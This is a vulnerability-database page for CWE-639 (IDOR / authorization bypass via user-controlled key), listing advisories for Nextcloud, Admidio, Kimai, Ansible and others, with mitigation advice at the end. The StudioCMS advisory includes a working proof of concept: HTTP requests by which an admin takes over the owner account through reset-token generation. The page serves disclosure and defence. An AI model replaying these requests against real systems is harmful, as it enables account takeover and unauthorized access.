Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

5934 vulnerabilities reference this CWE, most recent first.

GHSA-H6J9-6XJQ-44C4

Vulnerability from github – Published: 2025-12-12 18:30 – Updated: 2025-12-12 21:31
VLAI
Details

Nextcloud Server 30.0.0 is vulnerable to an Insecure Direct Object Reference (IDOR) in the /core/preview endpoint. Any authenticated user can access previews of arbitrary files belonging to other users by manipulating the fileId parameter. This allows unauthorized disclosure of sensitive data, such as text files or images, without prior sharing permissions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-64011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-12T17:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Nextcloud Server 30.0.0 is vulnerable to an Insecure Direct Object Reference (IDOR) in the /core/preview endpoint. Any authenticated user can access previews of arbitrary files belonging to other users by manipulating the fileId parameter. This allows unauthorized disclosure of sensitive data, such as text files or images, without prior sharing permissions.",
  "id": "GHSA-h6j9-6xjq-44c4",
  "modified": "2025-12-12T21:31:38Z",
  "published": "2025-12-12T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64011"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1eD3PN-u1caZYgGH96XHmJ7h_OBXEAHW4/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tarekramm/586dfe2d113fedfee6d71182570fc090"
    },
    {
      "type": "WEB",
      "url": "https://nextcloud.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H6MH-R9V3-2564

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-26 21:30
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Verdure verdure allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Verdure: from n/a through <= 1.6.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Verdure verdure allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Verdure: from n/a through \u003c= 1.6.",
  "id": "GHSA-h6mh-r9v3-2564",
  "modified": "2026-01-26T21:30:32Z",
  "published": "2026-01-22T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22430"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/verdure/vulnerability/wordpress-verdure-theme-1-6-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H6MX-VR53-R68C

Vulnerability from github – Published: 2026-10-01 15:30 – Updated: 2026-10-01 15:30
VLAI
Details

Unauthenticated Insecure Direct Object References (IDOR) in Photo Reviews for WooCommerce <= 1.2.30 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T15:17:17Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Insecure Direct Object References (IDOR) in Photo Reviews for WooCommerce \u003c= 1.2.30 versions.",
  "id": "GHSA-h6mx-vr53-r68c",
  "modified": "2026-10-01T15:30:41Z",
  "published": "2026-10-01T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100517"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/woo-photo-reviews/vulnerability/wordpress-photo-reviews-for-woocommerce-plugin-1-2-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H6QV-2M44-96J9

Vulnerability from github – Published: 2026-10-12 18:31 – Updated: 2026-10-12 18:31
VLAI
Details

Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to members_assignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-109329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-12T17:17:28Z",
    "severity": "HIGH"
  },
  "details": "Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to members_assignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.",
  "id": "GHSA-h6qv-2m44-96j9",
  "modified": "2026-10-12T18:31:50Z",
  "published": "2026-10-12T18:31:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-ggch-5cpv-rvqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109329"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/admidio-4.3.2-through-4.3.17-and-5.0.0-before-5.0.15-cross-organization-access-control-bypass-via-members-assignment-php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H769-2VFR-4WXG

Vulnerability from github – Published: 2025-04-16 00:31 – Updated: 2025-04-16 00:31
VLAI
Details

An unauthenticated attacker can obtain other users' charger information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T22:15:27Z",
    "severity": "MODERATE"
  },
  "details": "An unauthenticated attacker can obtain other users\u0027 charger information.",
  "id": "GHSA-h769-2vfr-4wxg",
  "modified": "2025-04-16T00:31:38Z",
  "published": "2025-04-16T00:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31945"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H76H-MXWQ-V9XP

Vulnerability from github – Published: 2026-08-31 21:31 – Updated: 2026-08-31 21:31
VLAI
Details

Kimai before 2.57.0 contains an improper authorization vulnerability in the favorite timesheet add and remove endpoints that allows authenticated users to manipulate other users' bookmarks. Attackers can add or remove timesheet entries from another user's favorite list by referencing their timesheet identifier, enabling cross-user business-state tampering without administrative privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-80197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-26T05:18:27Z",
    "severity": "HIGH"
  },
  "details": "Kimai before 2.57.0 contains an improper authorization vulnerability in the favorite timesheet add and remove endpoints that allows authenticated users to manipulate other users\u0027 bookmarks. Attackers can add or remove timesheet entries from another user\u0027s favorite list by referencing their timesheet identifier, enabling cross-user business-state tampering without administrative privileges.",
  "id": "GHSA-h76h-mxwq-v9xp",
  "modified": "2026-08-31T21:31:51Z",
  "published": "2026-08-31T21:31:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-j5mc-p8qg-39j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80197"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kimai-before-2.57.0-improper-authorization-via-favorite-endpoints"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H789-RMCQ-FH7H

Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-24 09:31
VLAI
Details

A flaw was found in the Ansible Automation Platform automation-controller. The WorkflowJobNode.ancestor_artifacts database column, which stores the raw merged set_stats artifacts propagated between workflow nodes, is not wrapped in prevent_search() and is therefore accepted for arbitrary field lookups by the REST filter backend, even though it is omitted from the API serializer. Because the column is persisted before Ansible's no_log masking is applied, a user with only read access to a workflow — or, via a regular-expression lookup that bypasses the JSON cross-relation filter guard through the world-readable credential-types endpoint, any authenticated user with no roles — can use the result count as a boolean/count oracle to recover, character by character, secret values that a playbook author explicitly marked no_log, including across organizations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-84720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the Ansible Automation Platform automation-controller. The\nWorkflowJobNode.ancestor_artifacts database column, which stores the raw merged set_stats\nartifacts propagated between workflow nodes, is not wrapped in prevent_search() and is therefore\naccepted for arbitrary field lookups by the REST filter backend, even though it is omitted from\nthe API serializer. Because the column is persisted before Ansible\u0027s no_log masking is applied,\na user with only read access to a workflow \u2014 or, via a regular-expression lookup that bypasses\nthe JSON cross-relation filter guard through the world-readable credential-types endpoint, any\nauthenticated user with no roles \u2014 can use the result count as a boolean/count oracle to recover,\ncharacter by character, secret values that a playbook author explicitly marked no_log, including\nacross organizations.",
  "id": "GHSA-h789-rmcq-fh7h",
  "modified": "2026-09-24T09:31:50Z",
  "published": "2026-09-23T21:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84720"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71113"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71114"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71179"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-84720"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2527214"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H7CR-QR22-43CH

Vulnerability from github – Published: 2023-03-29 18:30 – Updated: 2025-02-18 18:33
VLAI
Details

An issue in the password reset function of Peppermint v0.2.4 allows attackers to access the emails and passwords of the Tickets page via a crafted request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-26984"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-29T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue in the password reset function of Peppermint v0.2.4 allows attackers to access the emails and passwords of the Tickets page via a crafted request.",
  "id": "GHSA-h7cr-qr22-43ch",
  "modified": "2025-02-18T18:33:00Z",
  "published": "2023-03-29T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26984"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Peppermint-Lab/peppermint/tree/master"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bypazs/CVE-2023-26984"
    },
    {
      "type": "WEB",
      "url": "https://peppermint.sh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H7GP-F5RX-5G52

Vulnerability from github – Published: 2022-12-15 03:30 – Updated: 2023-07-07 21:30
VLAI
Details

Improper Access Control in GitHub repository openemr/openemr prior to 7.0.0.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-4505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-15T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Access Control in GitHub repository openemr/openemr prior to 7.0.0.2.",
  "id": "GHSA-h7gp-f5rx-5g52",
  "modified": "2023-07-07T21:30:16Z",
  "published": "2022-12-15T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4505"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openemr/openemr/commit/235b1910ffe5296187667277d4e197a0c3a9ac33"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/e36ca754-bb9f-4686-ad72-7fb849e97d92"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H7VR-CG25-JF8C

Vulnerability from github – Published: 2026-03-12 14:49 – Updated: 2026-03-12 14:49
VLAI
Summary
StudioCMS: IDOR — Admin-to-Owner Account Takeover via Password Reset Link Generation
Details

Summary

The POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller's identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.

Details

Vulnerable Code

File: packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts Version: studiocms@0.3.0

const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]
if (!isAuthorized) {
    return apiResponseLogger(403, 'Unauthorized');
}

const { userId } = yield* readAPIContextJson<{ userId: string }>(ctx);            // [2]

if (!userId) {
    return apiResponseLogger(400, 'Invalid form data, userId is required');
}

// [3] userId is passed directly — no check against caller's identity
// [4] No check whether the target user outranks the caller
const token = yield* sdk.resetTokenBucket.new(userId);                            // [5]

Analysis

Unlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing: 1. No caller identity validation [2][3]: The userId from the JSON payload is never compared against the authenticated caller's session identity. An admin can specify any user's UUID, including the owner's. 2. No role hierarchy enforcement [4]: The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins. 3. Reset token returned in response [5]: The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.

The core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.

PoC

Environment User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin

Step 1 — Verify Attacker's Session (Admin) Confirm the attacker is authenticated as admin (user dummy03):

POST /studiocms_api/dashboard/verify-session HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"originPathname":"http://127.0.0.1:4321/dashboard"}

Response:

{
  "isLoggedIn": true,
  "user": {
    "id": "eacee42e-ae7e-4e9e-945b-68e26696ece4",
    "name": "dummy03",
    "username": "dummy03"
  },
  "permissionLevel": "admin"
}

Step 2 — Generate Password Reset Token for the Owner The admin sends a request to create a reset link targeting the owner's UUID:

POST /studiocms_api/dashboard/create-reset-link HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{"userId": "2450bf33-0135-4142-80be-9854f9a5e9f1"}

Response:

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userId": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>"
}

The server generated a valid password reset JWT for the owner account and returned it to the admin caller.

Step 3 — Reset the Owner's Password Using all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:

POST /studiocms_api/dashboard/reset-password HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<admin_session_cookie>
Content-Type: application/json

{
  "id": "e11c98ac-d523-4404-b9c6-921d7d01cdcd",
  "userid": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "token": "<reset_jwt_token>",
  "password": "pwned1234@@",
  "confirm_password": "pwned1234@@"
}

Response:

{"message": "User password updated successfully"}

The owner's password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.

Impact

  • Owner Account Takeover: Any admin can change the owner's password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "studiocms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:49:38Z",
    "nvd_published_at": "2026-03-11T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe POST /studiocms_api/dashboard/create-reset-link endpoint allows any authenticated user with admin privileges to generate a password reset token for any other user, including the owner account. The handler verifies that the caller is an admin but does not enforce role hierarchy, nor does it validate that the target userId matches the caller\u0027s identity. Combined with the POST /studiocms_api/dashboard/reset-password endpoint, this allows a complete account takeover of the highest-privileged account in the system.\n\n## Details\n#### Vulnerable Code\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/create-reset-link.ts\n**Version:** studiocms@0.3.0\n```\nconst isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isAdmin;  // [1]\nif (!isAuthorized) {\n    return apiResponseLogger(403, \u0027Unauthorized\u0027);\n}\n\nconst { userId } = yield* readAPIContextJson\u003c{ userId: string }\u003e(ctx);            // [2]\n\nif (!userId) {\n    return apiResponseLogger(400, \u0027Invalid form data, userId is required\u0027);\n}\n\n// [3] userId is passed directly \u2014 no check against caller\u0027s identity\n// [4] No check whether the target user outranks the caller\nconst token = yield* sdk.resetTokenBucket.new(userId);                            // [5]\n```\n#### Analysis\nUnlike the API token endpoints (which only require isEditor), this handler correctly gates access at the isAdmin level [1]. However, two critical authorization checks are still missing:\n1. **No caller identity validation [2][3]:** The userId from the JSON payload is never compared against the authenticated caller\u0027s session identity. An admin can specify any user\u0027s UUID, including the owner\u0027s.\n2. **No role hierarchy enforcement [4]:** The handler does not verify whether the target user has a higher privilege level than the caller. An admin can target the owner account, which is the only account that should be immune to administrative actions from lower-ranked admins.\n3. **Reset token returned in response [5]:** The generated reset token (a signed JWT) is returned directly in the HTTP response body. This token can then be used with the reset-password endpoint to set an arbitrary password for the target account, completing the account takeover chain.\n\nThe core issue is that password reset generation is treated as a generic admin operation rather than a self-service operation with explicit scope restrictions.\n\n## PoC\n**Environment**\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n\n**Step 1 \u2014 Verify Attacker\u0027s Session (Admin)**\nConfirm the attacker is authenticated as admin (user dummy03):\n```\nPOST /studiocms_api/dashboard/verify-session HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\"originPathname\":\"http://127.0.0.1:4321/dashboard\"}\n```\nResponse:\n```\n{\n  \"isLoggedIn\": true,\n  \"user\": {\n    \"id\": \"eacee42e-ae7e-4e9e-945b-68e26696ece4\",\n    \"name\": \"dummy03\",\n    \"username\": \"dummy03\"\n  },\n  \"permissionLevel\": \"admin\"\n}\n```\n\n**Step 2 \u2014 Generate Password Reset Token for the Owner**\nThe admin sends a request to create a reset link targeting the owner\u0027s UUID:\n```\nPOST /studiocms_api/dashboard/create-reset-link HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\"}\n```\nResponse:\n```\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userId\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"\u003creset_jwt_token\u003e\"\n}\n```\nThe server generated a valid password reset JWT for the owner account and returned it to the admin caller.\n\n**Step 3 \u2014 Reset the Owner\u0027s Password**\nUsing all three values from the previous response (id, userId, token), the attacker sets a new password for the owner:\n```\nPOST /studiocms_api/dashboard/reset-password HTTP/1.1\nHost: 127.0.0.1:4321\nCookie: auth_session=\u003cadmin_session_cookie\u003e\nContent-Type: application/json\n\n{\n  \"id\": \"e11c98ac-d523-4404-b9c6-921d7d01cdcd\",\n  \"userid\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"token\": \"\u003creset_jwt_token\u003e\",\n  \"password\": \"pwned1234@@\",\n  \"confirm_password\": \"pwned1234@@\"\n}\n```\nResponse:\n```\n{\"message\": \"User password updated successfully\"}\n```\nThe owner\u0027s password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.\n\n## Impact\n- **Owner Account Takeover:** Any admin can change the owner\u0027s password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.",
  "id": "GHSA-h7vr-cg25-jf8c",
  "modified": "2026-03-12T14:49:38Z",
  "published": "2026-03-12T14:49:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32103"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS: IDOR \u2014 Admin-to-Owner Account Takeover via Password Reset Link Generation"
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.